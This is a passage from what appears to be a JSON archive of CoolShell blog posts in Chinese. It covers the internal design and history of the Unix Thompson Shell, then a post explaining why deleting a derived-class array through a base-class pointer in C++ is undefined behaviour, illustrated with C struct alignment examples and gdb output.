scanning)</h4>\n<p>经过预处理后的字符序列将被切割成为一系列<strong>词法记号(token)</strong>，安置在token列表中，扫描器将对以下几类字符做如下处理。</p>\n<ul>\n<li><strong>空格和tab</strong>：简单过滤。</li>\n</ul>\n<ul>\n<li><strong>引号</strong>：需要成对出现，字符本身被过滤，一对引号之间所有字符都被设置引用标识，作为一个token。</li>\n</ul>\n<ul>\n<li><strong>元字符</strong>：如’&amp;’，’|’等，字符本身作为一个单独token。</li>\n</ul>\n<ul>\n<li><strong>其他字符</strong>：一律填充token，直到碰上以上字符分隔为止。</li>\n</ul>\n<p>举一个例子，当我们输入命令”(ls; cat tail) &gt;junk”，那么token列表映像将是这样的：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9537\" height=\"176\" src=\"../wp-content/uploads/2013/04/图1.jpg\" width=\"523\"/></p>\n<h4>语法分析(syntax parser)</h4>\n<p>语法分析就是将token列表中的元素作为<strong>表达式(expression)</strong>并以节点为单位构建语法树，简单命令是一个表达式，而复合命令以及命令序列是多个表达式的组合。Thompson Shell中以简单数组作为语法树的容器，实际上这是结构体的一种变形，只不过每个成员字段大小都一样（都是sizeof int）而已。一个语法树节点最多有6个字段（大小根据类型可变），分别是</p>\n<ul>\n<li><strong>DTYP（节点类型）</strong>：每个节点都有唯一的类型，又分为四种——TCOM（简单命令）、TPAR（复合命令）、TFIL（过滤器/管道线）、TLST（命令序列）。</li>\n</ul>\n<ul>\n<li><strong>DLEF（左子树节点）</strong>：相当于链表指针，根据DTYP定义有所不同。如过滤器类型左子树节点为前一个命令的输出重定向文件，右子树节点为后一个命令的输入重定向文件。</li>\n</ul>\n<ul>\n<li><strong>DRIG（右子树节点）</strong>：同上。</li>\n</ul>\n<ul>\n<li><strong>DFLG（节点属性）</strong>：这是个标志位(flag)，决定该节点包含命令的属性以及以什么样的状态执行。</li>\n</ul>\n<ul>\n<li><strong>DSPR（子命令）</strong>：两重含义，对于简单命令，该字段为空；对于复合命令，该字段指向子语法树节点。</li>\n</ul>\n<ul>\n<li><strong>DCOM（命令字符）</strong>：引用命令字符序列。</li>\n</ul>\n<p>语法树节点生成顺序根据token列表中每个元素的<strong>优先级(priority)</strong>而定，首先遍历整个列表，找到优先级最高的token作为根节点，再分别生成左右子树，这是一种最简单的<strong>自顶向下(top-down)</strong>解决方案。各个token优先级视DTYP字段而定</p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" class=\"aligncenter\" width=\"367\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">优先级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">Token</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">DTYP</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第一级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">‘&amp;’  ‘;’  ‘\\n’</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TLST</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第二级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">‘|’  ‘^’</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TFIL</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第三级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\"> ‘(‘  ‘)’</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TPAR</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"91\">\n<p align=\"center\">第四级</p>\n</td>\n<td valign=\"top\" width=\"180\">\n<p align=\"center\">其它字符</p>\n</td>\n<td valign=\"top\" width=\"96\">\n<p align=\"center\">TCOM</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>语法树的构建过程中还使用了一种基于<strong>“有限状态机(finite-state machine)”</strong>的动态规划算法，其实现是将整个逻辑流程划分为四个状态：syntax、syn1、syn2、syn3，对应于上面token优先级，程序在每个状态下都生成一个相应类型的节点，同时还生成四种策略，以决议下一步将转移到何种状态（根据优先级搜索对应的token）。这个四种策略分别是</p>\n<ul>\n<li><strong>生成左子树</strong>：左边token列表递进到下层状态。</li>\n</ul>\n<ul>\n<li><strong>生成右子树</strong>：右边token列表并回溯到上层状态或递归调用。</li>\n</ul>\n<ul>\n<li><strong>找不到对应token</strong>：保持原有token列表递进到下层状态。</li>\n</ul>\n<ul>\n<li><strong>生成节点</strong>：直接返回节点。</li>\n</ul>\n<p>当我们遍历完整个token列表后，程序总是能返回最初的调用点，即根节点上，从而生成一棵完整的语法树。这种算法的好处是<strong>程序员不必关注具体实现的每个细枝末节，只要关注相应的状态并制定对应的转移策略即可。</strong>还值得一提的是每个转移策略都是发生在赋值语句或返回语句上，并使用函数实参保存临时变量，这样就避免了调用次数过多导致堆栈溢出。</p>\n<p>依旧举两个个例子，比如命令”A &amp; ; B | C”对应的语法树</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9538\" height=\"264\" src=\"../wp-content/uploads/2013/04/图2.jpg\" width=\"350\"/></p>\n<p>命令”(A ; B) | C”对应的语法树：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9539\" height=\"345\" src=\"../wp-content/uploads/2013/04/图3.jpg\" width=\"350\"/></p>\n<h4>语义分析(Semantic Analyzer)</h4>\n<p>语法分析仅仅停留在token表达式合法性层面上，它并不知道该表达式是否有意义，比如哪些命令是要后台运行，哪些命令的I/O被重定向到管道线上，通配符该如何扩展等等，这时候要靠语义分析了。这里的“语义”体现在对特殊字符的动态处理以及语法树节点的字段设置，根据<strong>上下文(context)</strong>而定。比如对于元字符’&gt;’，我们要判断输出重定向到哪个文件，是截断还是追加。对于通配符’?’、’*’和'[…]’，我们要决定对哪些字符进行扩展，这些在/etc/glob中专门处理。对于语法树节点，除了自身固有属性之外，还需要继承上层节点的属性，以及下推属性到下层子树节点，下面列了一张表格说明。</p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">DTYP</p>\n</td>\n<td valign=\"top\" width=\"217\">\n<p align=\"center\">DLEF/DRIG</p>\n</td>\n<td valign=\"top\" width=\"227\">\n<p align=\"center\">DFLG</p>\n</td>\n<td valign=\"top\" width=\"57\">\n<p align=\"center\">DSPR</p>\n</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TLST</p>\n</td>\n<td valign=\"top\" width=\"217\">可以为空，也可以是其它节点，类型可以是TLST/TFIL/TCOM</td>\n<td valign=\"top\" width=\"227\">自身属性为0；如果带’&amp;’，则下推属性FINT|FAND|FPRS到左右子树（忽略信号、后台异步，打印pid）</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TFIL</p>\n</td>\n<td valign=\"top\" width=\"217\">必须同时存在、，类型只能是TCOM或TPAR</td>\n<td valign=\"top\" width=\"227\">自身属性继承自上层TLST；下推FPIN到左子树节点；下推FPOU到右子树节点。</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TPAR</p>\n</td>\n<td valign=\"top\" width=\"217\">空</td>\n<td rowspan=\"2\" valign=\"top\" width=\"227\">继承上层的TLST和TFIL；如果是追加模式重定向输出，加上FCAT；如果是复合命令中最后一个子命令，加上FPAR， 将不会fork子进程。</td>\n<td valign=\"top\" width=\"57\">子命令</td>\n</tr>\n<tr>\n<td valign=\"top\" width=\"67\">\n<p align=\"center\">TCOM</p>\n</td>\n<td valign=\"top\" width=\"217\">左子树节点为输入重定向文件，右子树为节点输出重定向文件。</td>\n<td valign=\"top\" width=\"57\">空</td>\n</tr>\n</tbody>\n</table>\n<h4>执行命令(Executor)</h4>\n<p>当前面一系列步骤之后，如果错误计数为0，则解释器从语法树的根节点开始，<strong>深度优先遍历</strong>所有节点，并根据前面语法和语义分析得到的类型和属性，一一执行所包含的命令，以生成最后的系统调用。</p>\n<p>对于<strong>命令序列(TLST)节点</strong>，从左至右顺序执行子树节点命令。</p>\n<p>对于<strong>过滤器(TFIL)节点</strong>，创建管道文件句柄，作为左右子树的重定向文件。</p>\n<p>对于<strong>简单命令(TCOM)和复合命令(TPAR)节点</strong>，首先筛选出系统内置命令(built-in)，对于剩下的外部命令则fork一个子进程执行它。如果是复合命令中最后一个子命令，那么仍在原来的进程上执行而不必创建新进程。可执行文件路径按先后顺序搜索：①本地路径；②/bin；③/usr/bin。</p>\n<p><strong>多进程环境下，特别要注意文件句柄管理</strong>。命令间共享标准输入输出设备之外，还会重定向到管道线，而父进程在fork之后子进程会获取一份文件句柄拷贝，所以<span style=\"color: #ff0000;\"><strong>父进程必须在fork之后立即关闭闲置的管道线句柄（如果有的话）以免造成资源泄漏，子进程也将在重定向之后关闭管道线句柄。</strong></span></p>\n<p>对于<strong>后台命令</strong>需要打印pid，但不需要响应中断信号，父进程也不必等待子进程终止。其余进程命令执行中可捕获中断信号，并转入相应的处理函数。</p>\n<p>解释器用内置的errno全局变量保存进程终止状态，并生成<strong>终止报告(termination report)</strong>，系统调用wait()用于返回终止进程的pid并输出报告消息索引。</p>\n<h4>孰优孰劣</h4>\n<p>尽管Thompson Shell是一款优秀的命令解释器，还产生了多项历史创举，但遗憾的是依然得不到命运女神的垂青，这要归咎于其自身的缺陷——<strong>功能单一、命令分散、控制流过于简单，尚无法用来编写脚本(script)</strong>。随着Unix日益壮大，它已经无法应付趋于繁杂的编程项目了。那时还出现了一个叫<a href=\"http://en.wikipedia.org/wiki/John_Mashey\" target=\"_blank\">John Mashey</a>的人写的<a href=\"http://en.wikipedia.org/wiki/PWB_shell\" target=\"_blank\">PWB Shell</a>（又叫做Mashey Shell），基于Thompson Shell做了些改进，扩展了命令集，增加了shell变量，还增加了if-then-else-endif，for，while等控制逻辑。不幸的是它比Thompson Shell更短命，因为1977年它遇上了一个强劲的对手。</p>\n<p>没错，那就是Bourne Shell，它的主要优点是真正实现了结构化脚本编程，比之前的shell实现得都要好，更要命的是它与前两个shell都不兼容，于是一场标准化的论战开始了。在<a href=\"http://en.wikipedia.org/wiki/David_Korn_(computer_scientist)\" target=\"_blank\">David G. Korn</a>（<a href=\"http://en.wikipedia.org/wiki/Korn_shell\" target=\"_blank\">ksh</a>作者）写的<a href=\"http://www.in-ulm.de/~mascheck/bourne/korn.html\" target=\"_blank\">“ksh – An Extensible High Level Language”</a>一文中提及，Steve Bourne和John Mashey在三次连续的Unix用户组集会上争论他们各自的理由。在这些集会之间，各自增进他们的shell来拥有对方的功能。还设立了一个委员会来选择标准shell，最终还是选择了Bourne shell作为标准。</p>\n<p>于是从Unix V7开始就有了前面所说的”Bourne Shell Family”。然而历史上没有完美的技术，随着八、九十年代操作系统迅猛发展，针对Bourne Shell的诟病也越来越多了。在解释器本身实现上，我看到网上一个对其评价是<a href=\"http://lwn.net/Articles/471015/\" target=\"_blank\">“universally considered to be one of the most horrible C code ever written”</a>，至于原因去看一下mac.h就知道了，包括基本运算符、关键字在内的大量宏定义使得整个代码看上去简直不是C写的，也许Bourne是想把解释器打造成自己独特的风格吧，也难怪后来的bash以<strong>“born again”</strong>命名就是对其祖先的戏谑性调侃。另外<a href=\"http://www.in-ulm.de/~mascheck/bourne/segv.html\" target=\"_blank\">内存管理</a>上的一些毛病带来平台可移植性问题，至于其中的技术细节有点高级，超出本文范畴。</p>\n<h4>Thompson Again Shell?</h4>\n<p>虽然历史没有给Thompson Shell一个机会，但它并非就此同Unix V6那样一同沦为开源博物馆上的古老“化石”。作为出自顶级黑客之手的作品，作为伴随Unix那样伟大操作系统一同曾经流行计算机的产物，至今仍受国内外程序员的缅怀，或将其改写，或为其作注。比如国外一个站点<a href=\"http://v6shell.org/\" target=\"_blank\">v6shell.org</a>上就实现了一个免费开源的可移植性shell，它兼容并扩充原来的Thompson Shell并且可用来做脚本编程。再比如中国程序员<a href=\"http://blog.chinaunix.net/uid-20106293-id-142129.html\" target=\"_blank\">寒蝉退士</a>在其个人博客上发布了一个注解版，并对原版做了一些改写，主要是将<strong>K&amp;R C</strong>转为<strong>ANSI C</strong>，并且符合<strong>POSIX规范</strong>，使原本晦涩难懂的源码变得清晰易读起来。正是因为接触到他的版本激起了我对老Unix的考古兴趣，才有了这篇“考古笔记”。我在想不知今后会不会像bash那样，出一个tash来呢？</p>\n<h4>一些感想</h4>\n<p>本来全文应该就此结束了，但此时此刻不禁想多说几句。这篇笔记当初并非有意而为之，在hacking源码的过程中感想积累多了也就逐渐成章了。看代码、作注解、查资料、写此文，前后历经四个多礼拜，是在繁杂的工作中“挤乳沟”挤出来的零散时间片拼凑起来的，虽然文字不长但也算耗费了一番心血，酸甜苦辣心中自明，体会到踏上社会之后潜下心做研究之艰难。如今面对这样一份不到900行写成的，没有一行多余的代码，<strong>简洁(clarity)、干净(clean)、快速(fast)，</strong>这就是Pure C的魅力，我深为这种厚重的编程功力所折服，正所谓<strong>“大道至简”</strong>吧。虽然要完全弄懂它需要很多时间，但我相信这种代价却是值得的。</p>\n<p>最后再八卦一下，2011年Dennis Ritchie去世了，有人生前问过他“学C需要多久才能成为熟练开发者并写出重要产品代码？”，Ritchie回答“我不知道，我从没去学过C。”<a href=\"http://www.cs.columbia.edu/~aho/Talks/12-09-07_DMR.pdf\" target=\"_blank\">(I don’t know. I never had to learn C.)</a>其实这里已经给出了答案——<strong>那就是没有比去阅读Unix源代码更好的选择了，某种意义上C语言就是为Unix而生的。</strong></p>\n<p><img alt=\"Dennis Mac Ritchie\" class=\"aligncenter\" height=\"314\" src=\"http://th05.deviantart.net/fs71/PRE/f/2011/296/7/2/dennis_ritchie_by_juanosborne-d4dooi9.jpg\" width=\"611\"/></p>\n<h4>参考资料</h4>\n<p><a href=\"http://www.tuhs.org/\" target=\"_blank\">The Unix Heritage Society</a>：Unix社区遗产，上面有v6和v7以及其它一些衍生版本的操作系统源代码。</p>\n<p><a href=\"http://www.in-ulm.de/~mascheck/bourne/\" target=\"_blank\">The Traditional Bourne Shell Family</a>：Bourne Shell家族简史。</p>\n<p><a href=\"http://v6shell.org/\" target=\"_blank\">v6shell</a>：osh，一个基于Thompson Shell的开源可移植性old shell。</p>\n<p><a href=\"http://blog.chinaunix.net/uid-20106293-id-142129.html\" target=\"_blank\">寒蝉退士的博客</a>：Thompson Shell的一个注解版。</p>\n<p><a href=\"https://www.ibm.com/developerworks/linux/library/l-linux-shells/index.html?ca=drs-\" target=\"_blank\">Evolution of shells in Linux</a>：简述Linux Shell演变史。</p>\n<p>附录一个中文注释的 <a href=\"https://coolshell.cn/wp-content/uploads/2013/04/shell源码.zip\">shell源码</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-4-29 “C++的数组不支持多态”？.html",
    "content": "<html><body><p>先是在微博上看到了个<a href=\"http://weibo.com/1876004965/zueproucp\" target=\"_blank\">微博</a>和云风的评论，然后我回了“楼主对C的内存管理不了解”。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-9544\" height=\"211\" src=\"../wp-content/uploads/2013/04/weibo.jpg\" width=\"580\"/></a></p>\n<p>后来引发了很多人的讨论，大量的人又借机来黑C++，比如：</p>\n<blockquote><p>//<a href=\"http://weibo.com/n/Baidu-ThursdayWang\">@Baidu-ThursdayWang</a>:这不就c++弱爆了的地方吗，需要记忆太多东西</p>\n<p>//<a href=\"http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2\">@编程浪子张发财</a>:这个跟C关系真不大。不过我得验证一下，感觉真的不应该是这样的。如果基类的析构这种情况不能 调用，就太弱了。</p>\n<p>//<a href=\"http://weibo.com/1401324585\" target=\"_blank\">@程序元</a>：现在看来，当初由于毅力不够而没有深入纠缠c++语言特性的各种犄角旮旯的坑爹细枝末节，实是幸事。为现在还沉浸于这些诡异特性并乐此不疲的同志们感到忧伤。</p></blockquote>\n<p>然后，也出现了一些乱七八糟的理解：</p>\n<p><span id=\"more-9543\"></span></p>\n<blockquote><p>//<a href=\"http://weibo.com/n/BA5BO\">@BA5BO</a>: 数组是基于拷贝的，而多态是基于指针的，派生类赋值给基类数组只是拷贝复制了一个基类新对象，当然不需要派生类析构函数</p>\n<p>//<a href=\"http://weibo.com/n/%E7%BC%96%E7%A8%8B%E6%B5%AA%E5%AD%90%E5%BC%A0%E5%8F%91%E8%B4%A2\">@编程浪子张发财</a>:我突然理解是怎么回事了，这种情况下数组中各元素都是等长结构体，类型必须一致，的确没法多态。这跟C#和java不同。后两者对于引用类型存放的是对象指针。</p></blockquote>\n<p>等等，看来我必需要写一篇博客以正视听了。</p>\n<p>因为没有看到上下文，我就猜测讨论的可能会是下面这两种情况之一：</p>\n<p style=\"padding-left: 30px;\">1) 一个Base*[]的指针数组中，存放了一堆派生类的指针，这样，你delete [] pBase; 只是把指针数组给删除了，并没有删除指针所指向的对象。这个是最基础的C的问题。你先得for这个指针数组，把数据里的对象都delete掉，然后再删除数组。很明显，这和C++没有什么关系。</p>\n<p style=\"padding-left: 30px;\">2）第二种可能是：Base *pBase = new Derived[n] 这样的情况。这种情况下，delete[] pBase 明显不会调用虚析构函数（当然，这并不一定，我后面会说） ，这就是上面云风回的微博。对此，我觉得如果是这个样子，这个程序员<strong>完全没有搞懂C语言中的指针和数组是怎么一回事</strong>，也没有搞清楚， 什么是对象，什么是对象的指针和引用，这完全就是C语言没有学好。</p>\n<p>后来，在看到了 <a href=\"http://weibo.com/n/GeniusVczh\">@GeniusVczh</a> 的原文 《<a href=\"http://www.cppblog.com/vczh/archive/2013/04/27/199765.html\" id=\"viewpost1_TitleUrl\">如何设计一门语言（一）——什么是坑(a)</a>》最后时，才知道了说的是第二种情况。也就是下面的这个示例（我加了虚的析构函数这样方便编译）：</p>\n<pre class=\"EnlighterJSRAW\">class Base\n{\n  public:\n    virtual ~B(){ cout &lt;&lt;\"B::~B()\"&lt;&lt;endl; }\n};\n\nclass Derived : public Base\n{\n  public:\n    virtual ~D() { cout &lt;&lt;\"D::D~()\"&lt;&lt;endl; }\n};\n\nBase* pBase = new Derived[10];\ndelete[] pBase;</pre>\n<h4>C语言补课</h4>\n<p>我先不说这段C++的程序在什么情况下能正确调用派生类的析构函数，我还是先来说说C语言，这样我在后面说这段代码时你就明白了。</p>\n<p>对于上面的：</p>\n<p><code class=\"EnlighterJSRAW\">Base* pBase = new Derived[10];</code></p>\n<p>这个语言和下面的有什么不同吗？</p>\n<pre class=\"EnlighterJSRAW\">Derived d[10];\n\nBase* pBase = d;</pre>\n<p>一个是堆内存动态分配，一个是栈内存静态分配。只是内存的位置和类型不一样，在语法和使用上没有什么不一样的。（如果你把Base 和 Derived想成struct，把new想成malloc() ，你还觉得这和C++有什么关系吗？）</p>\n<p><strong>那么，你觉得pBase这个指针是指向对象的，是对象的引用，还是指向一个数组的，是数组的引用？</strong></p>\n<p>于是乎，你可以想像一下下面的场景：</p>\n<pre class=\"EnlighterJSRAW\">int *pInt; char* pChar;\n\npInt = (int*)malloc(10*sizeof(int));\n\npChar = (char*)pInt;</pre>\n<p><strong>对上面的pInt和pChar指针来说，pInt[3]和pChar[3]所指向的内容是否一样呢？当然不一样，因为int是4个字节，char是1个字节，步长不一样，所以当然不一样。</strong></p>\n<p><strong>那么再回到那个把Derived[]数组的指针转成Base类型的指针pBase，那么pBase[3]是否会指向正确的Derrived[3]呢？</strong></p>\n<p>我们来看个纯C语言的例程，下面有两个结构体，就像继承一样，我还别有用心地加了一个void *vptr，好像虚函数表一样：</p>\n<pre class=\"EnlighterJSRAW\">\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        int j;\n    }b[2] ={\n        {(void*)0x01, 100, 'a', -1},\n        {(void*)0x02, 200, 'A', -2}\n    };\n</pre>\n<p>注意：我用的是G++编译的，在64bits平台上编译的，其中的sizeof(void*)的值是8。</p>\n<p>我们看一下栈上内存分配：</p>\n<pre class=\"EnlighterJSRAW\">\n    struct A *pa1 = (struct A*)(b);\n</pre>\n<p>用gdb我们可以看到下面的情况：(pa1[1]的成员的值完全乱掉了)</p>\n<pre class=\"EnlighterJSRAW\">(gdb) p b\n$7 = {{vptr = 0x1, i = 100, c = 97 'a', j = -1}, {vptr = 0x2, i = 200, c = 65 'A', j = -2}}\n(gdb) p pa1[0]\n$8 = {vptr = 0x1, i = 100}\n(gdb) p pa1[1]\n$9 = {vptr = 0x7fffffffffff, i = 2}\n</pre>\n<p>我们再来看一下堆上的情况：（我们动态了struct B [2]，然后转成struct A *，然后对其成员操作）</p>\n<pre class=\"EnlighterJSRAW\">\n    struct A *pa = (struct A*)malloc(2*sizeof(struct B));\n    struct B *pb = (struct B*)pa；\n\n    pa[0].vptr = (void*) 0x01;\n    pa[1].vptr = (void*) 0x02;\n\n    pa[0].i = 100;\n    pa[1].i = 200;\n</pre>\n<p>用gdb来查看一下变量，我们可以看到下面的情况：（pa没问题，但是pb[1]的内存乱掉了）</p>\n<pre class=\"EnlighterJSRAW\">(gdb) p pa[0]\n$1 = {vptr = 0x1, i = 100}\n(gdb) p pa[1]\n$2 = {vptr = 0x2, i = 200}\n(gdb) p pb[0]\n$3 = {vptr = 0x1, i = 100, c = 0 '\\000', j = 2}\n(gdb) p pb[1]\n$4 = {vptr = 0xc8, i = 0, c = 0 '\\000', j = 0}\n</pre>\n<p>可见，这完全就是C语言里乱转型造成了内存的混乱，这和C++一点关系都没有。而且，C++的任何一本书都说过，父类对象和子类对象的转型会带来严重的内存问题。</p>\n<p>但是，如果在64bits平台下，如果把我们的structB改一下，改成如下（把struct B中的int j给注释掉）：</p>\n<pre class=\"EnlighterJSRAW\">\n    struct A {\n        void *vptr;\n        int i;\n    };\n\n    struct B{\n        void *vptr;\n        int i;\n        char c;\n        //int j; &lt;---注释掉int j\n    }b[2] ={\n        {(void*)0x01, 100, 'a'},\n        {(void*)0x02, 200, 'A'}\n    };\n</pre>\n<p>你就会发现，上面的内存混乱的问题都没有了，因为struct A和struct B的size是一样的：</p>\n<pre class=\"EnlighterJSRAW\">(gdb) p sizeof(struct A)\n$6 = 16\n(gdb) p sizeof(struct B)\n$7 = 16</pre>\n<p>注：如果不注释int j，那么sizeof(struct B)的值是24。</p>\n<p>这就是C语言中的内存对齐，内存对齐的原因就是为了更快的存取内存（详见《<a href=\"https://coolshell.cn/articles/5761.html\" target=\"_blank\" title=\"深入理解C语言\">深入理解C语言</a>》）</p>\n<p>如果内存对齐了，而且struct A中的成员的顺序在struct B中是一样的而且在最前面话，那么就没有问题。</p>\n<h4>再来看C++的程序</h4>\n<p>如果你看过我5年前写的《<strong><a href=\"http://blog.csdn.net/haoel/article/details/1948051\" target=\"_blank\">C++虚函数表解析</a></strong>》以及《<strong>C++内存对象布局 <a href=\"http://blog.csdn.net/haoel/article/details/3081328\" target=\"_blank\">上篇</a>、<a href=\"http://blog.csdn.net/haoel/article/details/3081385\" target=\"_blank\">下篇</a></strong>》，你就知道C++的标准会把虚函数表的指针放在类实例的最前面，你也就知道为什么我别有用心地在struct A和struct B前加了一个 void *vptr。C++之所以要加在最前面就是为了转型后，不会找不到虚表了。</p>\n<p>好了，到这里，我们再来看C++，看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n#include\nusing namespace std;\n\nclass B\n{\n  int b;\n  public:\n    virtual ~B(){ cout &lt;&lt;\"B::~B()\"&lt;&lt;endl; }\n};\n\nclass D: public B\n{\n  int i;\n  public:\n    virtual ~D() { cout &lt;&lt;\"D::~D()\"&lt;&lt;endl; }\n};\n\nint main(void)\n{\n    cout &lt;&lt; \"sizeB:\" &lt;&lt; sizeof(B) &lt;&lt; \" sizeD:\"&lt;&lt; sizeof(D) &lt;&lt;endl;\n    B *pb = new D[2];\n\n    delete [] pb;\n\n    return 0;\n}\n</pre>\n<p><strong>上面的代码可以正确执行，包括调用子类的虚函数！因为内存对齐了</strong>。在我的64bits的CentOS上——sizeof(B):16 ，sizeof(D):16</p>\n<p><strong>但是，如果你在class D中再加一个int成员的问题，这个程序就Segmentation fault了</strong>。因为—— sizeof(B):16 ，sizeof(D):24。pb[1]的虚表找到了一个错误的内存上，内存乱掉了。</p>\n<p>再注：我在Visual Studio 2010上做了一下测试，对于 struct 来说，其表现和gcc的是一样的，但对于class的代码来说，其可以“正确调用到虚函数”无论父类和子类有没有一样的size。</p>\n<p>然而，在C++的标准中，下面这样的用法是undefined! 你可以看看StackOverflow上的相关问题讨论：《<a href=\"http://stackoverflow.com/questions/6171814/why-is-it-undefined-behavior-to-delete-an-array-of-derived-objects-via-a-base\" target=\"_blank\" title=\"Why is it undefined behavior to delete[] an array of derived objects via a base pointer?\">Why is it undefined behavior to delete[] an array of derived objects via a base pointer?</a>》（同样，你也可以看看《More Effective C++》中的条款三）</p>\n<pre class=\"EnlighterJSRAW\">Base* pBase = new Derived[10];\n\ndelete[] pBase;</pre>\n<p>所以，微软C++编程译器define这个事让我非常不解，对微软的C++编译器再度失望，看似默默地把其编译对了很漂亮，实则误导了好多人把这种undefined的东西当成defined来用，还赞扬做得好，真是令人无语。<strong>（</strong><a href=\"http://weibo.com/2087077260/zup0V7LLM\" target=\"_blank\">就像微博上的这个贴一样</a>，说VC多么牛，还说这是OO的特性。我勒个去！<strong>）</strong></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2013/04/hehe.png\"><img alt=\"\" height=\"173\" src=\"../wp-content/uploads/2013/04/hehe.png\" width=\"530\"/></a></p>\n<p>现在，你终于知道Base* pBase = new Derived[10];这个问题是C语言的转型的问题，你也应该知道用于数组的指针是怎么回事了吧？<strong>这是一个很奇葩的代码！请你不要像那些人一样在微博上和这里的评论里高呼并和我理论到：“微软的C++编译器支持这个事！”。</strong></p>\n<p>最后，我越来越发现，<span style=\"color: #cc0000; font-size: 14px;\"><strong>很多说C++难用的人，其实是不懂C语言</strong></span>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img 